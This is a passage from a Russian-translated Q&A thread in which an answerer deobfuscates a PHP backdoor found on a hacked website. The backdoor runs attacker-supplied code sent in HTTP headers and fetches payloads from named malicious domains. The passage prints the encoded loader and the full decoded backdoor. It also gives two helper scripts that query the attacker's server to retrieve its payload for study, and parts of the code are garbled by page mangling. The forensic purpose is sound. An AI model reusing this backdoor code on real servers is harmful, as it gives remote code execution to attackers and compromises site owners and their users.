Rm1EMGZ1QzVhY1hQNkdtejhHNGxCZjZ0TTZuUjJ5NW82WW1WeTh5eWNrSk1kNDBOVG10MlArUWpsbEZ3OEtvUWkvVnZIQTZJOUVvazBoblVXT0FEQzltZ2oxdmsyek5ERm82MTlJcTRkNHVSYWhTdDcvWkR4V294SnNHT1hsUDJIeDlqelBaamtPVVJIdUNkdlhPQkdHR2hZOFpvVjhEYWltbVJjL0ZHZmtxUVh2QXRYM2NRc2ZtdjFrdW5iUG5ab1VxeDhIZGRBR3ArYVpZRHloNmpMM3NKRzRKdS8wK0JLaG55Z0tDZEZlY3dabnFqcmtOZjM3RkdJNEF5THRheEttSk9IWkhEQUJacTNFaG9xYmRxRzdoSkJpYUQzcWFUQTVmSVVjdXFZZ2QwTjR6WmJMZkdPNUNqemlPQ3JsaVcyN0JjNTRCL2tKOG1vejAwTnVPaWVtTXNweXR3a2Rvc0FBYlpWVVFsUUwzM3lvLzZDeW8zR1lDWEpIWXFwVDFoK2d4d2dCcStLYkVIMm8rRG9aaXVGV0lmVkFYM2h4OVROY3JlR1VjSFF6MUVOUGJ4MWdqWWh6bUMreDd6ejZ6SlJzVGVqQ2ZIWVF0Wi9BQkkxWXRtNTB1U0hWTUdBME5oa3VWNC8wT3dpSEpBWGVEZFp5ekVGYVNQNGJxZlVCWkY0anBDaUFpQ0s2OG0ya1FtTlluYndGZzd5Kytnb1hiaThVRkhGVkIyOWoxRjNtKyttTVEybDZ6MyszaWNRUE5TOXQ4czIxYkVVemkwMTBhUDFjazczS3FLWlhIZFBuNWxqN3NVNllsYVRyN1VyK2hmNEpYZXhRbElPeWc5bko1MkFHNHJOWUJsdyttcHQ1SkFCamsxZkxuMC9aVUxROXRLVlFjNElaUTVReDRleld2QW9KVmo2M3UrNnJZajlTSVUwU3hTWWlqNVRaR1ZxNCtSZkNVeDN6MUkyRjdrdElaWENna2NVeCtnUDFmR2lYTGNTbXVqVVZoaXhaSnF1bUlZQS93OGtMa2VtclVpcWt2NmtWdmo3ckRCTlRidnFzUm9hbkd5eGFSZTVKdno5M0padDNYTmkwMTdCUStXZ29PRWY0QXoyRmxXek8zcVN5dHlybCtGeXZkVXRySGYvRytWQ25RRmJneVlKcGExem1VNkh3QVFEc0lFUGdxMTFWbTFmUG1jN3VDa2M0SUVSQ25veHc5YXNMc3phbHFRYmR4TzVFMUtDSlJjUnhiUGxBT2x6cWpoMTVXdXd1TVJkOVZialM1M2UyVVVBS2ZFT3ozS3RGU0gvU3hPOElSMGFwZ3Bvc2czelZsVlR6SDNKQUZBbHNaM0hBZ3VGZTRZNDdseXVVaFlmTDNxZEh0RGNSM3pON1UwT3REZFd1QXQvWWNHY0xUK2pDK1pKdmhKdVMvblNuQ2hWYkpQWEpkNFozb0h0QWgvSjFFY2w4OFdCTTFtNzJ1U0l3c0pyWE9UM2JZVVNqWk9CUExic0J0RHZ1WUdjbzJMTmU0ZjVtd2lIQnFLUi9WRDZrZGZvaWxybHkwcEtEY3NESGM3aEtXdDcyKzE0Z2h2N3pLNnNmczgyd1hQaHIxamdCZ0RKUGRtZ1ZaR3JJOVRxM2pkV0xoTXd1dFNlUlJlN25FKzFwNCttSUJxRWVzZHlZS1VIZldXeWRNdGI0RHB0UUNxVWh5SmNJRm05UUdYVzhnVnl4TDNhb1MxaHVKaFVZRFE1MHhGSTY5NzZpKzNaVWlzZ2ZGVWo2WFMvbTdyMWdVZ0dXMStwQWROd1ZWb3EvNk5EbU1UR3EzK2g4cWFYNkIiKSkpOwWn=&kcHJlZ19yZXBsYWNl';

      function I11lIl1I($a, $b){ 
        $c=$GLOBALS['II11'];
        $d=pack('H*','6261736536345f6465636f'.'6465');
        return $d(substr($c, $a, $b));
      };

      $QO0000QQ0 = I11lIl1I(3374, 16);
      $QO0000QQ0("/Q0QO00QOO/e", I11lIl1I(507, 2862), "Q0QO00QOO");
    };

Мы видим, что код проверяет, является ли функцияI11lIl1I уже существует, если нет, он определяет эту функцию и выполняет некоторый код. Эта функция принимает два параметра $ a и $ b, которые определяют некоторую часть декодированной строки, которая вырезается с использованием substr () позже в этой функции. Функция принимает кодированный текст$GLOBALS['II11'] и хранит его в$c. $d установлен вpack('H*','6261736536345f6465636f'.'6465') что приводит кbase64_decode, Эта функция используется для декодирования части, вырезанной из $ c, используя пределы $ a и $ b. Функция вызывается с $ a = 3374, $ b = 16, что приводит кpreg_replace который хранится как $ QO0000QQ0. затемpreg_replace("/Q0QO00QOO/e", I11lIl1I(507, 2862), "Q0QO00QOO"); называется. В то время как функция декодированияI11lIl1Iснова используется для получения некоторых данных из закодированной строки ($ a = 507, $ b = 2862).

Данные изI11lIl1I(507,2862) является:

eval(gzuncompress(base64_decode("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")));

Этотpreg_replace(...) Вызов использует шаблон "/.../e", который ищет строкуQ0QO00QOO в строкеQ0QO00QOO и выполняетI11lIl1I(507, 2862) (расшифрованная строка) выше для каждого случая. Код содержитeval(gzuncompress(base64_decode(" "))); который снова base64-декодирует строку, затем распаковывает двоичные данные и оценивает (= выполняет свой код php) их.

Несжатый, base64-декодированный текст снова представляет собой некоторый php-код, который предварительно выглядит следующим образом:

if (!defined("determinator")) {
  if (function_exists(I11lIl1I(1, 10))) { 
    @ini_set(I11lIl1I(14, 20), 1);
    @ini_set(I11lIl1I(34, 19), 0);
  }

  function w3net_feof($Q0OOOQ, &$I1lI1I = NULL) {
    $I1lI1I = microtime(true);
    return feof($Q0OOOQ);
  }

  function w3net_getfile($I1ll11, $I11IIl) {
    $IIlI1I = "curl";
    $I1IIll = $IIlI1I."_init";
    if (@ini_get("allow_url_fopen") == "1") {
      return @file_get_contents("http://" . $I1ll11 . $I11IIl. "&w=fgc");
    } elseif (function_exists($I1IIll)){
      $QO00QO = @$I1IIll();
      $QOOOQQ = $IIlI1I."_setopt";
      $IIl11I = $IIlI1I."_exec";
      @$QOOOQQ($QO00QO, CURLOPT_URL, "http://" . $I1ll11 . $I11IIl. "&w=cu");
      @$QOOOQQ($QO00QO, CURLOPT_HEADER, false);
      @$QOOOQQ($QO00QO, CURLOPT_RETURNTRANSFER, true);
      @$QOOOQQ($QO00QO, CURLOPT_CONNECTTIMEOUT, 6);
      $IIIl1I = @$IIl11I($QO00QO);
      @curl_close($QO00QO);
      if (empty($IIIl1I)) {
        $IIIl1I = "";
      }
      return $IIIl1I;
    } else {
      $Q0OOOQ = @fsockopen($I1ll11, 80, $Il111l, $Q000O0, 5);
      if ($Q0OOOQ) {
        $I111lI = "";
        $I1lI1I = NULL;
        @fputs($Q0OOOQ, "GET {$I11IIl}"."&w=sk HTTP/1.0"."\r\n"."Host: "."{$I1ll11}\r\n");
        $QOOOQO = PHP_OS."/".PHP_VERSION;
        @fputs($Q0OOOQ, "User-Agent: {$QOOOQO}\r\n\r\n");
        while(!w3net_feof($Q0OOOQ, $I1lI1I) && (microtime(true) - $I1lI1I) < 2) {
          $I111lI .= @fgets($Q0OOOQ, 128);
        }
        @fclose($Q0OOOQ);
        $Q000OQ = explode("\r\n\r\n", $I111lI);
        unset($Q000OQ[0]);
        return implode("\r\n\r\n", $Q000OQ);
      }
    }
  }

  function w3net_output($I1I1lI, $I1lIll) {
    echo "Y_".$I1I1lI.":".$I1lIll."\r\n";
  }

  function php_server($Q0000Q){
    return @$_SERVER[$Q0000Q];
  }

  $IlI11l=I11lIl1I(55, 14);
  $I1lll1=I11lIl1I(69, 6);
  $Q0Q0QO=I11lIl1I(78, 23);
  $I1ll11=I11lIl1I(102, 10);
  if (isset($_SERVER[I11lIl1I(114, 7)])) {
    if (@$_SERVER[I11lIl1I(114, 7)] != I11lIl1I(122, 4)) { $I1ll11=I11lIl1I(130, 11); }
  }
  $I1ll11.=strtolower(@$_SERVER[I11lIl1I(142, 12)]);

  foreach ($_GET as $I1I1lI=>$I1lIll) {
    if (strpos($I1lIll,I11lIl1I(157, 7))) {
      $_GET[$I1I1lI]=I11lIl1I(167, 0);
    } elseif (strpos($I1lIll,I11lIl1I(167, 8))) {
      $_GET[$I1I1lI]=I11lIl1I(167, 0);
    }
  }

  if(!isset($_SERVER[I11lIl1I(175, 15)])) {
    $_SERVER[I11lIl1I(175, 15)] = @$_SERVER[I11lIl1I(190, 15)];
    if(isset($_SERVER[I11lIl1I(211, 16)])) {
      $_SERVER[I11lIl1I(175, 15)] .= I11lIl1I(231, 2) . @$_SERVER[I11lIl1I(211, 16)];
    }
  }

  function get_temp_directory() {
    $I11III=dirname(__FILE__).DIRECTORY_SEPARATOR;
    $Q0Q00Q = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $I11III."tmp", $I11III."wp-content/uploads", $I11III."wp-content/cache", );

    foreach ($Q0Q00Q as $Q0QOOO){ 
      if (!empty($Q0QOOO)){
        $Q0QOOO.=DIRECTORY_SEPARATOR;
        if (@is_writable($Q0QOOO)) {
          $I11III = $Q0QOOO; break;
        }
      }
    }

    return $I11III;
  }

  if (strlen($I1ll11) < 10) {
    define(I11lIl1I(235, 16), 0);

  } elseif ([email protected]$_SERVER[I11lIl1I(175, 15)]) {
    [email protected]($I1ll11.PHP_OS.$I1lll1.$Q0Q0QO);
    $w3n_code=get_temp_directory().I11lIl1I(253, 2).$QO0O0Q;
    define(I11lIl1I(235, 16), $w3n_code);
    $IlIlII = $w3n_code.I11lIl1I(257, 6);
    if (@$_SERVER[I11lIl1I(267, 15)]==$QO0O0Q) {
      $QO0QQ0=I11lIl1I(282, 18);
      echo "\r\n";
      w3net_output(I11lIl1I(301, 8), $I1lll1.I11lIl1I(310, 2).$IlI11l.I11lIl1I(314, 6));
      if ($Q00OQO=$QO0QQ0(@$_SERVER[I11lIl1I(321, 16)])){
        @eval($Q00OQO);
        echo "\r\n";
        w3net_output(I11lIl1I(338, 4), I11lIl1I(342, 3));
      }
      exit(0);
    }
    $II11l1 = False;
    $Il11I1 = @strtolower(@$_SERVER[I11lIl1I(346, 20)]);
    foreach (explode(I11lIl1I(366, 2), I11lIl1I(371, 54)) as $QOOQOO) {
      if (strpos($Il11I1, $QOOQOO)!==False) {
        $Il1Il1 = @fopen($w3n_code.I11lIl1I(257, 6), I11lIl1I(430, 2));
        $Ill11I = @urlencode(@$_SERVER[I11lIl1I(175, 15)]);
        @fwrite($Il1Il1, time()."\t".$QOOQOO."\t".$Ill11I."\n");
        @fclose($Il1Il1);
        $II11l1=True;
        break;
      }
    }
    if (@is_file($w3n_code)) {
      @touch($w3n_code);
      @include_once($w3n_code);
    } elseif ($II11l1 === True) {
      $I1Il1I = Array(I11lIl1I(435, 12), I11lIl1I(449, 16));
      if (@touch($w3n_code)) {
        [email protected]($Q0OO0O);
        $I11IIl = I11lIl1I(465, 14).$Q0OO0O.I11lIl1I(482, 4).$QO0O0Q.I11lIl1I(487, 12).$IlI11l.I11lIl1I(503, 4).$I1lll1;
        $QOQOQO = w3net_getfile($I1Il1I[0], $I11IIl);
        @touch($w3n_code);
      }
    }
  } else {
    define(I11lIl1I(235, 16), 1);
  }
}

Как мы видим, он снова запутывает некоторые строки и имена функций, используяI11lIl1I(..)-функции. Давайте заменим эти:

if (!defined("determinator")) {
  if (function_exists("ini_set")) { 
    @ini_set("allow_url_fopen", 1);
    @ini_set("display_errors", 0);
  }

  function w3net_feof($Q0OOOQ, &$I1lI1I = NULL) {
    $I1lI1I = microtime(true);
    return feof($Q0OOOQ);
  }

  function w3net_getfile($I1ll11, $I11IIl) {
    $IIlI1I = "curl";
    $I1IIll = $IIlI1I."_init";
    if (@ini_get("allow_url_fopen") == "1") {
      return @file_get_contents("http://" . $I1ll11 . $I11IIl. "&w=fgc");
    } elseif (function_exists($I1IIll)){
      $QO00QO = @$I1IIll();
      $QOOOQQ = $IIlI1I."_setopt";
      $IIl11I = $IIlI1I."_exec";
      @$QOOOQQ($QO00QO, CURLOPT_URL, "http://" . $I1ll11 . $I11IIl. "&w=cu");
      @$QOOOQQ($QO00QO, CURLOPT_HEADER, false);
      @$QOOOQQ($QO00QO, CURLOPT_RETURNTRANSFER, true);
      @$QOOOQQ($QO00QO, CURLOPT_CONNECTTIMEOUT, 6);
      $IIIl1I = @$IIl11I($QO00QO);
      @curl_close($QO00QO);
      if (empty($IIIl1I)) {
        $IIIl1I = "";
      }
      return $IIIl1I;
    } else {
      $Q0OOOQ = @fsockopen($I1ll11, 80, $Il111l, $Q000O0, 5);
      if ($Q0OOOQ) {
        $I111lI = "";
        $I1lI1I = NULL;
        @fputs($Q0OO,OQ, "GET {$I11IIl}"."&w=sk HTTP/1.0"."\r\n"."Host: "."{$I1ll11}\r\n");
        $QOOOQO = PHP_OS."/".PHP_VERSION;
        @fputs($Q0OOOQ, "User-Agent: {$QOOOQO}\r\n\r\n");
        while(!w3net_feof($Q0OOOQ, $I1lI1I) && (microtime(true) - $I1lI1I) < 2) {
          $I111lI .= @fgets($Q0OOOQ, 128);
        }
        @fclose($Q0OOOQ);
        $Q000OQ = explode("\r\n\r\n", $I111lI);
        unset($Q000OQ[0]);
        return implode("\r\n\r\n", $Q000OQ);
      }
    }
  }

  function w3net_output($I1I1lI, $I1lIll) {
    echo "Y_".$I1I1lI.":".$I1lIll."\r\n";
  }

  function php_server($Q0000Q){
    return @$_SERVER[$Q0000Q];
  }

  $IlI11l="ftp/201309";
  $I1lll1="3.01";
  $Q0Q0QO="QQ0OQ000000Q0OQ0Q";
  $I1ll11="http://";
  if (isset($_SERVER["HTTPS"])) {
    if (@$_SERVER["HTTPS"] != "off") { $I1ll11="https://"; }
  }
  $I1ll11.=strtolower(@$_SERVER["HTTP_HOST"]);

  foreach ($_GET as $I1I1lI=>$I1lIll) {
    if (strpos($I1lIll,"union")) {
      $_GET[$I1I1lI]="";
    } elseif (strpos($I1lIll,"select")) {
      $_GET[$I1I1lI]="";
    }
  }

  if(!isset($_SERVER["REQUEST_URI"])) {
    $_SERVER["REQUEST_URI"] = @$_SERVER["SCRIPT_NAME"];
    if(isset($_SERVER["QUERY_STRING"])) {
      $_SERVER["REQUEST_URI"] .= "?" . @$_SERVER["QUERY_STRING"];
    }
  }

  function get_temp_directory() {
    $I11III=dirname(__FILE__).DIRECTORY_SEPARATOR;
    $Q0Q00Q = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $I11III."tmp", $I11III."wp-content/uploads", $I11III."wp-content/cache", );

    foreach ($Q0Q00Q as $Q0QOOO){ 
      if (!empty($Q0QOOO)){
        $Q0QOOO.=DIRECTORY_SEPARATOR;
        if (@is_writable($Q0QOOO)) {
          $I11III = $Q0QOOO; break;
        }
      }
    }

    return $I11III;
  }

  if (strlen($I1ll11) < 10) {
    define("determinator", 0);

  } elseif ([email protected]$_SERVER["REQUEST_URI"]) {
    [email protected]($I1ll11.PHP_OS.$I1lll1.$Q0Q0QO);
    $w3n_code=get_temp_directory().".".$QO0O0Q;
    define("determinator", $w3n_code);
    $IlIlII = $w3n_code.".log";
    if (@$_SERVER["HTTP_Y_AUTH"]==$QO0O0Q) {
      $QO0QQ0="base64_decode";
      echo "\r\n";
      w3net_output("versio", $I1lll1."-".$IlI11l."-php");
      if ($Q00OQO=$QO0QQ0(@$_SERVER["HTTP_EXECPHP"])){
        @eval($Q00OQO);
        echo "\r\n";
        w3net_output("out", "ok");
      }
      exit(0);
    }
    $II11l1 = False;
    $Il11I1 = @strtolower(@$_SERVER["HTTP_USER_AGENT"]);
    foreach (explode(",", "google,yahoo,baidu,bingbot,msnbot,yandex") as $QOOQOO) {
      if (strpos($Il11I1, $QOOQOO)!==False) {
        $Il1Il1 = @fopen($w3n_code.".log", "a");
        $Ill11I = @urlencode(@$_SERVER["REQUEST_URI"]);
        @fwrite($Il1Il1, time()."\t".$QOOQOO."\t".$Ill11I."\n");
        @fclose($Il1Il1);
        $II11l1=True;
        break;
      }
    }
    if (@is_file($w3n_code)) {
      @touch($w3n_code);
      @include_once($w3n_code);
    } elseif ($II11l1 === True) {
      $I1Il1I = Array("sezqo.net", "fastaddz.com");
      if (@touch($w3n_code)) {
        [email protected]($Q0OO0O);
        $I11IIl = "/w3.php?u=".$Q0OO0O."&k=".$QO0O0Q."&t=php&p=".$IlI11l."&v=".$I1lll1;
        $QOQOQO = w3net_getfile($I1Il1I[0], $I11IIl);
        @touch($w3n_code);
      }
    }
  } else {
    define("determinator", 1);
  }
}

Снова некоторые строки используются вместо имен функций и т. Д. Я заменил их, чтобы сделать код снова читабельным. Результат: скрипт найден в разделе «Декодированный и очищенный скрипт».

Извлечение удаленного скрипта

Следующий скрипт реализует протокол троянов, но вместо выполнения кода он должен записать его в файл. Лучше поменяй$hash (например, использоватьhttp://www.md5.cz/ чтобы создать действительный хэш md5) - значение должно быть одинаковым в обоих скриптах!

Храните оба сценария в месте, доступном из Интернета. Измените $ fn = "evilphpcode -". $ N.txt "; на путь, по которому скрипт может создавать файлы! Вызовите скрипт из браузера, он должен сказать" Привет ;-) ". Установите для $ url второго скрипта значение этот URL. Он отправит поддельный запрос в «сеть». Вызовите его из браузера и увидите «ОК, запрос отправлен!». Теперь скрипт будет записывать входящие «запросы на выполнение» в файлы. Это может занять некоторое время. тогда дайте нам знать, что там было!

Первый скрипт (регистрация):

<?php   
$hash = "c1a227ac6f77c4ad098144a61dd906a0";

$code = base64_decode(@$_SERVER["HTTP_EXECPHP"]);
$auth = $_SERVER["HTTP_Y_AUTH"];

function store() {
  global $code, $auth;
  for($N=1; file_exists($fn);++$N) { $fn = "evilphpcode-".$N.txt"; }
  file_put_contents($fn, $code);
  file_put_contents($fn."-hash", $auth);
}

if ($auth != $hash) { echo "Hi there ;-)"; store(); exit(0); }

$version1="ftp/201309"; $version2="3.01";
function out($key, $val) { echo "Y_".$key.":".$val."\r\n"; }
out("versio", $version2."-".$version1."-php");
sleep(1); store();
echo "\r\n";
out("out", "ok");

?>

Второй скрипт (запрос):

<?php
$hash = "c1a227ac6f77c4ad098144a61dd906a0";
$url = "http://mydomain.com/path/toscript/script.php"; // <-- put in first scripts location!!!

$url = urlencode($url);
$urltofetch = "http://sezqo.net/w3.php?u=".$url."&k=".$hash."&t=php&p=".$version1."&v=".$version2;
$data = file_get_contents($urltofetch);
echo "OK, request sent!";
?>
 ujjawal20 нояб. 2013 г., 20:07
я не мог получить код php, и он продолжает создавать файлы журнала после удаления каждый раз в пути к серверу. В файле журнала есть записи
 SDwarfs20 нояб. 2013 г., 18:46
Я добавил раздел «Извлечение удаленного скрипта». Это дает вам два сценария под рукой, которые вы можете использовать для извлечения злого кода из удаленной сети (но без его выполнения). Это даст нам представление о том, что делает эта сеть и насколько плоха ваша ситуация ...
 ujjawal20 нояб. 2013 г., 19:15
Стефан, ты гений. я не знаю, как мне тебе позвонить. но я потерял весь трафик, так как меня взломали. Я также теряю рейтинг своего сайта изо дня в день. не знаю что делать сейчас
 SDwarfs20 нояб. 2013 г., 19:53
Узнать, как скрипт попал в вашу систему, сложнее. Вы должны попытаться сделать это после создания резервной копии и удаления старой системы из сети (или переустановить ее). Также попробуйте код из последнего раздела, чтобы получить скрипт php с удаленного сервера ... это даст нам информацию о том, что произошло с вашим сервером и что нужно сделать дальше. Например, сценарий мог передать вашу пользовательскую базу данных (адреса электронной почты, пароли или их хеши, ...). Если это так, вам нужно будет предпринять аналогичные действия ...
 SDwarfs20 нояб. 2013 г., 19:44
Я предлагаю вам сделать полную резервную копию вашей системы (если возможно, отключить дисковод) и заново установить всю систему заново. (с нуля!). Не используйте ничего из резервной копии, предварительно не посмотрев на нее ... Что это за система? Только "веб-пространство" для сценариев PHP или корневой сервер? В случае «веб-пространства» сообщите вашему провайдеру о проблеме! Если это управляемый или корневой сервер, вам нужно переустановить его самостоятельно.

Ваш ответ на вопрос